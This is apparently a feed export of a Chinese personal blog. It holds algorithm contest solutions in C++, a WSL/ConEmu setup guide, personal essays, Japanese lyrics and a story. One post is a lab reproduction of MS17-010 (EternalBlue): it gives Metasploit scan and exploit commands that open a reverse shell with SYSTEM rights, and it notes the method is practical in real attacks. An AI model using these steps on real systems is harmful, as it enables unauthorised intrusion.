sum[fs] += item;
sum[fi] -= item;
id[item] = ++idx;
fa[idx] = fs;
}
}
int main() {
while (scanf("%d%d", &n, &m) == 2) {
for (int i = 1; i <= n; i++) {
fa[i] = sum[i] = id[i] = i;
cnt[i] = 1;
}
idx = n;
while (m--) {
int op;
scanf("%d", &op);
if (op == 1) {
int a, b;
scanf("%d%d", &a, &b);
merge(id[a], id[b]);
}
else if (op == 2) {
int a, b;
scanf("%d%d", &a, &b);
move(a, id[b]);
}
else {
int a;
scanf("%d", &a);
int fx = find(id[a]);
printf("%d %d\n", cnt[fx], sum[fx]);
}
}
}
return 0;
}</code></pre>
<h2 id="f---true-liars">F - True Liars</h2>
<h3 id="题意-5">题意</h3>
<p>一个岛上有神与恶魔两个种族,神会说真话,恶魔会说假话。已知神与恶魔的个数,但不知道具体个人是属于哪个。</p>
<p>现在有n条信息,每条信息的含义是:x说y是神或不是神。</p>
<p>问能否确定哪些人是神。</p>
<h3 id="思路-5">思路</h3>
<p>题目可以转化为,输入为“yes”说明两人是同类的,输入为“no”说明两人是不同类的。</p>
<p>我们最终把这一群人分成若干个大集合,每个大集合中又分为两个小集合,分别是好人和坏人,只是我们不知道哪个是好人集合,哪个是坏人集合。</p>
<p>因为题目已经告诉好人和坏人的个数,所以我们从这若干个大集合中每个集合挑出一个小集合,使这些小集合的大小之和等于好人数目,判断这样的情况有多少种,如果是一种,则可以确定哪些是好人哪些是坏人。</p>
<p>需要用到动态规划(背包)。</p>
<p>设数组dp[MAXP*2][MAXP],dp[i][j]代表到第i个大集合时,好人数为j的情况数。转移方程为:<code>dp[i][j]=dp[i-1][j-a]+dp[i-1][j-b]</code>,其中a、b分别是第i个大集合中两个小集合的大小。如果dp[大集合数][好人总数]==1,说明可以确定。</p>
<h3 id="代码-5">代码</h3>
<pre class="cpp"><code>#include <cstdio>
#include <vector>
#include <algorithm>
#include <cstring>
using namespace std;
const int MAXP = 310;
int n, p, q;
int fa[MAXP*2];
bool same[MAXP*2];
int dp[MAXP*2][MAXP];
int id[MAXP*2], nid;
vector<int> cnt[MAXP*2][2];
void makeFa() {
for (int i = 1; i <= p+q; i++) {
fa[i] = i;
same[i] = true;
}
}
int find(int x) {
if (x == fa[x]) return x;
int fx = find(fa[x]);
same[x] = same[x] == same[fa[x]];
fa[x] = fx;
return fx;
}
bool merge(int x, int y, bool r) {
int fx = find(x), fy = find(y);
if (fx == fy) return false;
same[fy] = same[x] == same[y] == r;
fa[fy] = fx;
return true;
}
void makeIdCnt() {
for (int i = 1; i <= p + q; i++) {
if (i == fa[i]) {
id[i] = ++nid;
}
}
for (int i = 1; i <= p + q; i++) {
int fx = find(i);
cnt[id[fx]][same[i]].push_back(i);
}
}
void solve() {
dp[0][0] = 1;
for (int i = 1; i <= nid; i++) {
for (int j = 0; j <= p; j++) {
if (cnt[i][0].size() <= j)
dp[i][j] += dp[i - 1][j - cnt[i][0].size()];
if (cnt[i][1].size() <= j)
dp[i][j] += dp[i - 1][j - cnt[i][1].size()];
}
}
if (dp[nid][p] == 1) {
vector<int> ans;
int sum = p;
for (int i = nid; i >= 1; i--) {
if (dp[i - 1][sum - cnt[i][0].size()] == 1) {
ans.insert(ans.end(), cnt[i][0].begin(), cnt[i][0].end());
sum -= cnt[i][0].size();
}
else {
ans.insert(ans.end(), cnt[i][1].begin(), cnt[i][1].end());
sum -= cnt[i][1].size();
}
}
sort(ans.begin(), ans.end());
for (int it : ans) {
printf("%d\n", it);
}
puts("end");
}
else {
puts("no");
}
}
void init() {
makeFa();
nid = 0;
memset(dp, 0, sizeof dp);
for (int i = 1; i <= p + q; i++) {
cnt[i][0].clear();
cnt[i][1].clear();
}
}
int main() {
while (scanf("%d%d%d", &n, &p, &q) == 3 && (n || p || q)) {
init();
for (int i = 0; i < n; i++) {
int a, b;
char c[4];
scanf("%d%d%s", &a, &b, c);
merge(a, b, *c == 'y');
}
makeIdCnt();
solve();
}
return 0;
}</code></pre>
<h2 id="h---arctic-network">H - Arctic Network</h2>
<h3 id="题意-6">题意</h3>
<p>题目的大概意思是,两个地点如果各有一个satellite channel,那么无论它们相隔多远都能通信,而如果任何一个没有satellite channel的话,就只能靠radio通信,而radio通信的成本与距离D是成正比的,现在希望让所有地点都能直接或者间接通信,问最小的D是多少。</p>
<h3 id="思路-6">思路</h3>
<p>最小生成树有两个特点,一个是保证了所有边的和是最小值,另一个是保证了所有边中的最大值最小。生成树算法每选中一条边就相当于把两个点集合并成了一个点集,最后用n-1条边连成了1个点集。那么我们往回推,n-2条边就连成了2个点集,n-3条边就连成了3个点集……而就这道题而言,我们相当于去求一共有N个点集的最小生成森林,只要取够P-N条边即可。</p>
<h3 id="代码-6">代码</h3>
<pre class="cpp"><code>#include <cstdio>
#include <cstring>
#include <set>
#include <algorithm>
#include <cmath>
struct Point
{
double x;
double y;
double dis(const Point& a) const {
return sqrt((x - a.x)*(x - a.x) + (y - a.y)*(y - a.y));
}
} point[500];
double lowcost[500];
bool visited[500];
int s, n;
std::multiset<double> rst;
void prim() {
memset(visited, 0, sizeof visited);
rst.clear();
for (int i = 0; i < n; i++) {
lowcost[i] = 1e308;
}
int u = 0;
for (int i = 0; i < n - 1; i++) {
visited[u] = true;
double nextlen = 1e308;
int nu = -1;
for (int v = 0; v < n; v++) {
if (!visited[v]) {
lowcost[v] = std::min(lowcost[v], point[u].dis(point[v]));
if (lowcost[v] < nextlen) {
nextlen = lowcost[v];
nu = v;
}
}
}
u = nu;
rst.insert(nextlen);
}
}
int main() {
int T;
scanf("%d", &T);
while (T--) {
scanf("%d%d", &s, &n);
for (int i = 0; i < n; i++) {
scanf("%lf%lf", &point[i].x, &point[i].y);
}
prim();
std::multiset<double>::iterator it = rst.begin();
for (int i = 0; i < n - s-1; i++) {
it++;
}
printf("%.2f\n", *it);
}
return 0;
}</code></pre>
<h2 id="i---there-is-no-alternative">I - There is No Alternative</h2>
<h3 id="题意-7">题意</h3>
<p>给定一个N个点,M条边的简单连通无向图。 对于一个无向图来说,它的最小生成树可能不是唯一的。 问在它的所有的最小生成树中共有的边是哪几条,输出边数和权值之和。 3<=N<=500, N-1<=M<=min{50000, N(N-1)/2}</p>
<h3 id="思路-7">思路</h3>
<p>首先跑一遍Kruskal,得到最小生成树的权值。 之后尝试删去图中的边,如果某一条边被删去后,最小生成树的值发生了变化(一定变大),那么说明这条边是在所有的最小生成树中都不可或缺的,那么就把这条边加入到答案中。 注意到第一次Kruskal得到的边已经包含了所有的答案,因此只要枚举这里的N-1条边即可。 边排序的复杂度被均摊了,并查集的复杂度可以忽略,因此总的复杂度是O(NM)</p>
<h3 id="代码-7">代码</h3>
<pre class="cpp"><code>#include <cstdio>
#include <algorithm>
const int MAXN = 510, MAXM = 50010;
int n,m;
struct Edge {
int u, v, c;
bool operator< (const Edge& b) const {
return c<b.c;
}
} e[MAXM];
int possEdge[MAXN];
int cnt;
int ans, ans1, ans2;
int fa[MAXN];
int find(int x) {
return x==fa[x]?x:fa[x]=find(fa[x]);
}
bool merge(int x, int y) {
int fx = find(x), fy = find(y);
if(fx==fy)
return false;
fa[fx] = fy;
return true;
}
void makeFa() {
for(int i=1; i<=n; i++) {
fa[i] = i;
}
}
void firstKrus() {
ans = 0;
cnt = 0;
makeFa();
for(int i=0; i<m; i++) {
if(merge(e[i].u, e[i].v)) {
ans += e[i].c;
possEdge[cnt++] = i;
if(cnt==n-1)
break;
}
}
}
bool krusWithout(int ce) {
makeFa();
int sum = 0, ct = 0;
for(int i=0; i<m; i++) {
if(i==ce) continue;
if(merge(e[i].u, e[i].v)) {
ct++;
sum+=e[i].c;
if(sum>ans)
return false;
if(ct==cnt)
return true;
}
}
return false;
}
void tryCut() {
ans1 = ans2 = 0;
for(int i=0; i<cnt; i++) {
if(!krusWithout(possEdge[i])) {
ans1++;
ans2+=e[possEdge[i]].c;
}
}
}
int main() {
while(scanf("%d%d", &n, &m)==2) {
for(int i=0; i<m; i++) {
scanf("%d%d%d", &e[i].u, &e[i].v, &e[i].c);
}
std::sort(e, e+m);
firstKrus();
tryCut();
printf("%d %d\n", ans1, ans2);
}
return 0;
}</code></pre>
<h2 id="j---frogger">J - Frogger</h2>
<h3 id="题意-8">题意</h3>
<p>求一条路径,从第一个点能到第二个点,并且这个路径上的最大边权是最小的。</p>
<h3 id="思路-8">思路</h3>
<p>郭华阳在国家集训队论文里介绍了最小生成树的性质,就是在kruskal算法执行的时候第一次将两个点(或者说两个点的集合)连起来的那条边就是这两点的最小瓶颈路上最大边(因为kruskal是从小到大依次连边的)。一旦明白了让这条性质这题就变得简单多了。</p>
<h3 id="代码-8">代码</h3>
<pre class="cpp"><code>#include <cstdio>
#include <algorithm>
#include <cmath>
using namespace std;
const int MAXN = 210;
int n;
struct Point {
int x, y;
} p[MAXN];
struct Edge {
int u, v;
double w;
bool operator< (const Edge& b) const {
return w < b.w;
}
} e[MAXN*MAXN];
int coe;
int fa[MAXN];
void makeFa() {
for (int i = 0; i < n; i++) {
fa[i] = i;
}
}
int find(int x) {
return x == fa[x] ? x : fa[x] = find(fa[x]);
}
bool merge(int x, int y) {
int fx = find(x), fy = find(y);
if (fx == fy) return false;
fa[fx] = fy;
return true;
}
int main() {
int cs = 0;
while (scanf("%d", &n) == 1 && n) {
cs++;
coe = 0;
makeFa();
for (int i = 0; i < n; i++) {
scanf("%d%d", &p[i].x, &p[i].y);
}
for (int i = 0; i < n; i++) {
for (int j = 0; j < i; j++) {
e[coe++] = { i,j,hypot(p[i].x - p[j].x, p[i].y - p[j].y) };
}
}
sort(e, e + coe);
for (int i = 0; i < coe; i++) {
merge(e[i].u, e[i].v);
if (find(0) == find(1)) {
printf("Scenario #%d\nFrog Distance = %.3f\n\n", cs, e[i].w);
break;
}
}
}
return 0;
}</code></pre>
3abd0517-6a52-5683-a79f-87f4e5326fea在Windows中利用ConEmu无缝使用Ubuntu+zsh2018-07-29T00:00:00+08:00<h2 id="在做什么">在做什么?</h2>
<p>不得不承认Windows在图形界面的应用性上远远高于其他操作系统,并且由于种种原因,我无法抛弃Windows。但是对于开发者来说,Linux下的很多功能是比Windows方便的,并且可能开发出来的应用需要在Linux下测试。为了获得一个兼具两者优势的环境,我尝试了很多方案,包括虚拟机、双系统等,但是无论是哪种方案都有一定的缺陷,例如虚拟机性能不够,双系统切换不便。</p>
<p>在大约一年前,微软在Windows 10上推出了WSL (Windows Subsystem for Linux)功能,即可以在Windows环境下使用Linux系统的一些功能。这一功能使得我们可以在一定程度上抛弃庞大的虚拟机,直接运行Linux程序。</p>
<p>我在这一功能刚刚推出的时候就开始尝试使用了。到目前为止,WSL技术已经基本成熟,可以作为一个稳定的工作环境了。因此,我探索了一下优雅使用这一功能的方法。</p>
<p>正如标题所说,我目前正在使用ConEmu定制命令行的显示效果,WSL的系统是Ubuntu 16.04,shell使用zsh。这篇文章讲述的就是如何搭建这样一个环境。</p>
<h2 id="效果">效果</h2>
<figure>
<img src="/article-assets/wsl-conemu/context.png" alt="右键菜单">
<figcaption aria-hidden="true">右键菜单</figcaption>
</figure>
<figure>
<img src="/article-assets/wsl-conemu/console.png" alt="界面">
<figcaption aria-hidden="true">界面</figcaption>
</figure>
<!-- more -->
<h2 id="所需环境">所需环境</h2>
<p>Windows 10 Professional / Enterprise</p>
<h2 id="让我们开始吧">让我们开始吧</h2>
<h3 id="第一步-启用wsl功能">第一步 启用WSL功能</h3>
<p>进入“设置”→“更新和安全”→“针对开发人员”→选择“开发人员模式”→重启。</p>
<figure>
<img src="/article-assets/wsl-conemu/开发人员模式.png" alt="选择“开发人员模式”">
<figcaption aria-hidden="true">选择“开发人员模式”</figcaption>
</figure>
<p>进入“控制面板”→“程序和功能”→“启用或关闭Windows功能”→勾选“适用于Linux的Windows子系统”→重启。</p>
<figure>
<img src="/article-assets/wsl-conemu/适用于Linux的Windows子系统.png" alt="勾选“适用于Linux的Windows子系统”">
<figcaption aria-hidden="true">勾选“适用于Linux的Windows子系统”</figcaption>
</figure>
<h3 id="第二步-安装ubuntu系统">第二步 安装Ubuntu系统</h3>
<p>打开Microsoft Store,搜索“Ubuntu”,或直接打开链接<a href="https://www.microsoft.com/store/productId/9NBLGGH4MSV6">安装Ubuntu</a>。</p>
<p><em>如果以前使用过WSL的话,应该注意到这一步与以前安装子系统的方法有所不同。这是因为微软现在采用Microsoft Store来分发不同的WSL。(可以用同样的方法安装kali Linux</em></p>
<p>打开开始菜单看看,现在应该有一个类似UWP程序的Ubuntu的入口了。打开它,它会自动开始安装完整的文件并引导你初步配置系统。</p>
<p>安装之后重启。</p>
<h3 id="第三步-安装zsh配置ubuntu">第三步 安装zsh,配置Ubuntu</h3>
<p>既然大家都在尝试使用WSL了,那么Linux的操作应该是不成问题的,所以这一步就不多说了,按照一般在Ubuntu系统中的操作方法安装即可。</p>
<p>可以参考<a href="https://www.jianshu.com/p/546effd99c35">这篇博客</a>或<a href="https://www.jianshu.com/p/9a5c4cb0452d">这篇博客</a>。</p>
<h3 id="第四步-安装conemu">第四步 安装ConEmu</h3>
<p><a href="https://conemu.github.io/">ConEmu - Handy Windows Terminal</a></p>
<p>正常安装就好。</p>
<h3 id="第五步-配置conemu">第五步 配置ConEmu</h3>
<p>启动ConEmu,打开Settings(Win+Alt+P),进入Startup->Tasks,添加一项“Ubuntu::zsh”,Commands的大框中输入</p>
<pre><code>bash -c zsh -cur_console:p</code></pre>
<p>如果你有兴趣的话,可以在<a href="https://design.ubuntu.com/downloads/">Ubuntu design</a>上下载一个Ubuntu的图标,然后在Task parameters中指定它。</p>
<p>最后Tasks配置如图:</p>
<figure>
<img src="/article-assets/wsl-conemu/tasks.png" alt="Tasks配置截图">
<figcaption aria-hidden="true">Tasks配置截图</figcaption>
</figure>
<p>然后在Startup中指定ConEmu的启动任务:</p>
<figure>
<img src="/article-assets/wsl-conemu/startup.png" alt="Startup配置截图">
<figcaption aria-hidden="true">Startup配置截图</figcaption>
</figure>
<p>配置完成后,点击Save settings。</p>
<h3 id="最后配置右键菜单项">最后配置右键菜单项</h3>
<p>打开ConEmu,Settings,左侧选择“Integration”。</p>
<p>添加一项ConEmu Here的设置,参考下面的截图:</p>
<figure>
<img src="/article-assets/wsl-conemu/integration.png" alt="Integration设置">
<figcaption aria-hidden="true">Integration设置</figcaption>
</figure>
<p><strong>设置好之后点击“Register”按钮</strong>,这时在文件管理器中右键就应该可以看到“Ubuntu zsh Here”的菜单项了。最后点击Save settings。</p>
<h2 id="测试">测试</h2>
<p>在一个文件夹中点右键,选“Ubuntu zsh Here”,应该可以直接进入当前目录,通过zsh shell操作。</p>
<p>Great Job!</p>
e248cbf9-3b83-5cf4-9771-0c714f541f29MS17-010 (EternalBlue) 漏洞复现2018-06-01T01:08:07+08:00<h2 id="测试环境">测试环境</h2>
<p>攻击者:kali Linux rolling</p>
<p>靶机:VirtualBox 中 Windows 7 SP1 Enterprise,未安装MS17-010补丁</p>
<h2 id="建立虚拟网络环境">建立虚拟网络环境</h2>
<p>我们将要建立一个子网,把两台机器放在同一个子网中,模拟局域网环境。</p>
<ul>
<li>子网掩码:192.168.56/24</li>
<li>攻击者IP:192.168.56.1</li>
<li>靶机IP:192.168.56.101</li>
</ul>
<!-- more -->
<h3 id="步骤">步骤</h3>
<p>在VirtualBox中新建一个Host-Only网卡,配置网络参数如下:</p>
<figure>
<img src="/article-assets/MS17-010/创建网卡.png" alt="创建网卡">
<figcaption aria-hidden="true">创建网卡</figcaption>
</figure>
<p>然后设置虚拟机的网络连接方式为“仅主机(Host-Only)网络,选择刚才配置好的网卡,如图:</p>
<figure>
<img src="/article-assets/MS17-010/选择Host-Only网络.png" alt="选择Host-Only网络 选择Host-Only Network">
<figcaption aria-hidden="true">选择Host-Only网络 选择Host-Only Network</figcaption>
</figure>
<h3 id="检查网络连接">检查网络连接</h3>
<p>在kali Linux中输入ifconfig,应该可以看到名为vboxnet0的网卡,地址为192.168.56.1。</p>
<p>在Windows中查看网络连接信息,应该可以看到IP为192.168.56.101(或类似地址)的网络连接。</p>
<p>在关闭Windows的防火墙后,两边互ping应该是都可以通的。</p>
<figure>
<img src="/article-assets/MS17-010/攻击者ping靶机.png" alt="攻击者ping靶机">
<figcaption aria-hidden="true">攻击者ping靶机</figcaption>
</figure>
<figure>
<img src="/article-assets/MS17-010/靶机ping攻击者.png" alt="靶机ping攻击者">
<figcaption aria-hidden="true">靶机ping攻击者</figcaption>
</figure>
<h2 id="开始渗透">开始渗透</h2>
<h3 id="启动msf">启动msf</h3>
<p>在msf中输入</p>
<pre><code>search ms17_010</code></pre>
<p>可以看到几个工具。我们要用到的是<code>auxiliary/scanner/smb/smb_ms17_010</code>和<code>exploit/windows/smb/ms17_010_eternalblue</code>,分别用来扫描漏洞和利用漏洞。</p>
<figure>
<img src="/article-assets/MS17-010/msf搜索ms010.png" alt="msf搜索ms17_010">
<figcaption aria-hidden="true">msf搜索ms17_010</figcaption>
</figure>
<h3 id="扫描ms17_010">扫描MS17_010</h3>
<p>在msf中输入</p>
<pre><code>use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.56.101
run</code></pre>
<p>其中<code>RHOSTS</code>是受害者,可以是IP或地址段。</p>
<p>如果得到<code>VULNERABLE</code>的结果,说明可以这台机器是可能被攻击的。</p>
<figure>
<img src="/article-assets/MS17-010/扫描靶机.png" alt="扫描靶机">
<figcaption aria-hidden="true">扫描靶机</figcaption>
</figure>
<h3 id="执行渗透">执行渗透</h3>
<p>在msf中输入</p>
<pre><code>use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.56.101
exploit</code></pre>
<p>注意看reverse shell监听地址,应该是192.168.56.1,即与靶机在同子网的地址。如果不是的话,按ctrl+C结束过程,然后输入</p>
<pre><code>set LHOST 192.168.56.1</code></pre>
<p>指定reverse shell监听地址,然后再次执行</p>
<pre><code>exploit</code></pre>
<p>然后稍等几秒钟,应该就能看到reverse shell了。</p>
<figure>
<img src="/article-assets/MS17-010/拿shell.png" alt="获取reverse shell">
<figcaption aria-hidden="true">获取reverse shell</figcaption>
</figure>
<p>可以看到权限是system,相当于Windows的root权限。</p>
<h2 id="补充说明">补充说明</h2>
<p>如果是实战,这个应该算是比较实用的攻击方式了,因为如果受害者的网络配置选择了“专用网络”(家庭网络、工作网络)的话,可能并不需要关闭防火墙。</p>
b5947996-fa3a-519e-b7e2-8aadc0e7f43c新一年的感慨2018-03-19T01:40:38+08:00<p>最近又发生了很多事情,趁着还不是很晚,就说一说吧。</p>
<p>我希望每个人都能找到自己的存在方式,体现出自己的价值。形形色色的人共同构成了我们的社会,这其中有善于交际的,也有专注于自己的事业的;有能同时应付多人会话的,也有和一个人聊天时都不知道说什么的。</p>
<p>应该说,与人交流是一种能力,为什么有的人很难获得这种能力?我觉得,这是一种思想上的偏差,或者说是在特定环境下成长起来的人就会有的想法,这种想法限制了与人交流的能力,那就是:不希望自己给别人带来麻烦。</p>
<p>其实我想,大多数人并不在意其他人在交流的时候给自己带来了什么麻烦,只要不是太严重的话。所以,不敢交流的孩子还是要多给自己一点信心啊,大胆说出自己的想法。</p>
<p>最近我们班举行了两次投票,我的结果都不怎么样。我想,大概有两个原因。首先就是自己还是太弱了,大家并不认可我的能力和修养;第二就是自己比较招人讨厌,别人会想,“我上辈子是做了什么孽才会认识他”,大概就是这样。</p>
<p>前几天,我们学院开了一个“班长述职会”,从上午8:30开到下午1:30。说实话,这次会议的组织和内容糟糕到已经突破了我的下限。以前我会把水的报告会称为“PPT大赛”,因为个人展示不靠硬数据,全凭一张嘴加一个充满设计感和特效的PPT;然而这次,我觉得它连被称为PPT大赛的资格都没有。PPT是各班班长在开会前熬夜做的,内容都是靠夸大其词,开会过程各种低级趣味,更可笑的是,一场班长述职展示的活动还搞了个评分,请问你们是在评什么?班长的工作还是演讲的效果,亦或是PPT的设计?我早起没吃早饭,顶着小雨,骑车上山,就听了这场奇怪的评比,内容空洞我就不说了,就不能高效点吗?</p>
<p>霍金去世了,我觉得有个人说得好,“缅怀一个人不需要知道他具体有哪些贡献,只需要知道他有贡献就可以了”。实际上,大家不知道的只是他们具体的贡献,而这些人的精神我们是知道的,提到先烈,提到军人,提到教师,提到科学家,我们在这样说出他们身份的同时,实际上就已经给他们赋予了一种值得提倡和缅怀的精神。</p>
<p>在大一,我就说过要给行酱诚恳地道一次歉。已经拖了很久了,希望最近能写好吧,也能同时对我的高中生活做一次总结。</p>
<p>这个博客我也要重构了,经过多方面的考虑,我最后还是打算用前端技术实现,SEO友好。</p>
<p>经常看到各路大佬在空间中写一些他们的生活,在做的事情之类的,其实对我来说这些事情都没什么好炫耀的,我还有点瞧不起这种行为。不过现在想想,如果不向外界输出自己,怎么能让别人知道自己的能力呢?所以我今后可能也要发一些这样的东西,同时记录自己解决各种问题的方法发博客。</p>
<p>如果我还有什么事情没写,我可并不是忘了,我记得清楚着呢。不过,就先不写了吧。</p>
5c94f2cd-a22c-54b3-885c-e5210e311cf8Terra - 能登麻美子2017-06-29T19:23:22+08:00<p>わたしは なにも 見ない</p>
<p>あなたが知ることのない 地中奥深くで 生きている</p>
<p>わたしは なにも 語らない</p>
<p>あなたが行くことのできない 深海の涯で 生きている</p>
<p>定められた虚空の抱擁に身を任せて</p>
<p>与えられた永遠の一片を 受け入れて</p>
<p>なんの条件も なんの束縛も ないままに</p>
<p>この星と交わした約束を ただ果たすために </p>
<p>わたしは なにも 問わない</p>
<p>あなたが忘れかけている 空の彼方で 生きている</p>
<p>わたしは なにも 示さない</p>
<p>あなたが失いかけている 森のすべてで 生きている</p>
<p>積み上げられた過ちの重さを信じながら</p>
<p>求められる解答の数を疑いながら</p>
<p>たとえ小さな石でも 階段の一段となるように</p>
<p>たとえわずかな一滴も 大河のはじまりと なるように</p>
<p>それはこの鼓動から思うよりも遠くにあるだろう</p>
<p>それはこの血の流れから思うよりも近くにあるだろう</p>
<p>それはこの呼吸から思うよりも遠くにあるだろう</p>
<p>それはこの体温から思うよりも近くにあるだろう</p>
<p>わたしは 決して 奪わない</p>
<p>あなたが残してきた 時間の轍の一端で 生きている</p>
<p>わたしは 決して 殺さない</p>
<p>あなたが選ぶことのできない 道のどこかで 生きている</p>
<p>放(はな)たれた光は 闇を責めることはなく</p>
<p>闇もまた 光あるがゆえに在り続ける</p>
<p>形にとらわれず 名前に惑わされず</p>
<p>わずかな一点一点はただ線であり続ける</p>
<p>わたしは 決して 苦しめない</p>
<p>あなたと叶えようとしている 夢のつながりで 生きている</p>
<p>わたしは 決して 憎まない</p>
<p>あなたと必ず報われる 愛が生まれる場所で 生きている</p>
<p>なにもかもが無限であることを許されながら</p>
<p>命が ただ有限である真実と向かい合い</p>
<p>「同じ」という希望と「違う」という希望で</p>
<p>終わることのない絶望をも きっと越えてゆける</p>
<p>わたしは 決して</p>
0f9212c3-f512-50c9-ac7a-4aac027f2f67关于梦想2017-05-25T02:06:33+08:00<p>我们曾经经常被问到,以后的梦想是什么。后来慢慢就没人问我们这个了,大概大家都觉得无趣,一个大人的梦想与别人有什么关系?成人有没有梦想都说不定。</p>
<p>但是不管怎样,有的人一直在向着自己曾经希望成为的样子做着努力,他们很早就对自己的生活做出了选择,那么也就很早就放弃了很多东西。这样究竟是好是坏,我不敢肯定,但是他们一定觉得自己的生活充满意义。</p>
bd1da070-9268-59b9-a9ea-2eb91b3dc7a4关于互联网的分享精神2017-03-24T12:02:35+08:00<p>我写这篇文章,其实是因为看一个人不爽,于是我仔细想了想究竟是哪里不对,然后把我的想法总结了一下。大概我对于一些违背精神的事情看不惯吧。</p>
<p>有人做了一个网站,是一个资源分享站。其实实质上就是用WordPress套模板加插件建的一个毫无美感的论坛,再加上过多的动画效果,导致访问者的体验非常差。那么这个资源分享站是怎样分享的呢?是那个人在服务器上放了一些种子,然后让别人注册。当然,注册之后这些资源也不会白给你,你还要充钱。那我觉得这个就太匪夷所思了,一个资源分享站,打着分享的旗号让别人买这些资源,还是BT资源。本来BT资源就是基于P2P协议的,它的存在就是为了让人能够免费自由的获得各种资源,把BT种子拿来买肯定是违背它固有的分享精神的,更何况这些资源都非原创,就是从网络上搜集的。</p>
<p>那个人说,他建站已经有一段时间了,但是还是没有达到他的预期。我想,他所说的预期,就是上万人注册,然后大家都掏腰包,从他那里买下本来都是免费的BT种子,他就只需坐地收钱,赚取大家的智商税。</p>
<p>我想我也不须多说什么,毕竟大家都会用脚投票。在互联网逐渐向去中心化发展的今天,这种反其道而行的中心化收费资源站也只能靠各种宣传和所谓的“优惠活动”来博得众人笑谈的一席之地了吧。</p>
<blockquote>
<p>有很多人像我一样,还记得互联网的蛮荒时代。</p>
<p>还记得我们自称网虫,却要在网上冲浪。</p>
<p>还记得在那张毫无阻拦的网上,初代网民对世界抱有的那种单纯的好奇,而非现在,阿猫阿狗都想变成站在风口的猪。</p>
<p>还记得那个时代的精神,还记得一切都应该免费,一切都应该分享。知识是应该是免费的,而非现在,一本书都要花钱找人帮自己读。连wiki没看完就想着把自己那半瓶子水变现。</p>
<p>还记得互联网带给科技界的憧憬,和普通人的喜悦。</p>
<p>还记得,或记不得,一个又一个的分类的论坛,里边各路大神辛辛苦苦的码字。分享自己多年积累的下来的经验,而非建个收费群,分享强上西楼的感悟。</p>
<p>我们还记得,共享后面那个词是精神,而不是经济。</p>
</blockquote>
89a3df92-520b-57a1-903d-4dba90e80819無題12017-01-26T19:24:40+08:00<p>自分は幽霊だ、と言う少女に出会ったのは××××ほど前のことだ。</p>
<p>私が彼女に名を問うと、彼女は「名前はありません」と答えた。「名前がないから、幽霊なのです。あなたも同じでしょう」そう言って少女は笑った。</p>
<p>そうだった。私も幽霊だったのだ。幽霊と会話できる存在がいるとしたら、その存在も幽霊なのである。今の私のように。</p>
<p>「それでは行きましょう」</p>
<p>彼女が言うので、私もついていく。少女の足取りは軽く、まるで生きているように見えた。どこへ行くのかと尋ねた私に、少女は足を止めて振り向いた。</p>
<!--more-->
<p>「どこへでも行くことはできます。あなたの行きたい場所はどこですか?」</p>
<p>私はしばらく考え込んだ。私はどこに行こうとしていたのだろう。ここはどこだろう。なぜ私はここにいるのだろう。</p>
<p>ただ立ちつくす私は、少女の暗い瞳を見つめるしかなかった。</p>
<p>「××××へ行こうと思っていたのではないですか?」</p>
<p>解答を出したのは少女だった。その言葉を聞いてようやく、私は自分の役割を知った。</p>
<p>そうだ。私はそこに行こうとしていたのだ。どうして忘れていたのだろう。こんなに重要な事柄を、私が生きて存在する意義を。</p>
<p>忘れてはいけないことだったはずなのに。</p>
<p>「では、もういいですね」</p>
<p>少女は嬉しそうに微笑んだ。私は頷いて、彼女に感謝の言葉を述べた。</p>
<p>「さようなら」</p>
<p>少女は消えて、私は残された。彼女は彼女の場所へと戻ったのだろう。私が私の場所へ戻ろうとしているように。</p>
<p>空から白いものが落ちてきた。たくさんの、小さな、不安定な、水の結晶。</p>
<p>それらは地表に落ちて消えゆく。</p>
<p>時空に溢れている奇蹟の一つだった。この世界には奇蹟がありふれている。私はずっと立ち止まっていた。時間の経過は意味をなさなくなっていた。</p>
<p>綿を連ねるような奇蹟は後から後から降り続く。</p>
<p>これを私の名前としよう。</p>
<p>そう思い、思ったことで私は幽霊でなくなった。</p>
838c191d-9685-5391-a565-3b67d2366a70不要猝死2017-01-25T03:40:45+08:00<p>已经快凌晨四点了,这时候睡觉意味着即使明天中午起,也只能睡8小时。</p>
<p>以后还是早点睡吧,毕竟猝死只有一次,要珍惜。</p>
5c33fa27-83b8-5275-b8f6-1fe21bdb2cfa新年快乐2017-01-24T22:48:08+08:00<p>快到春节了。</p>
<p>最近看了Chinese New Year的纪录片,感觉很有感触。尤其是看着两个老外的时候。</p>
<p>总之,新年快乐!</p>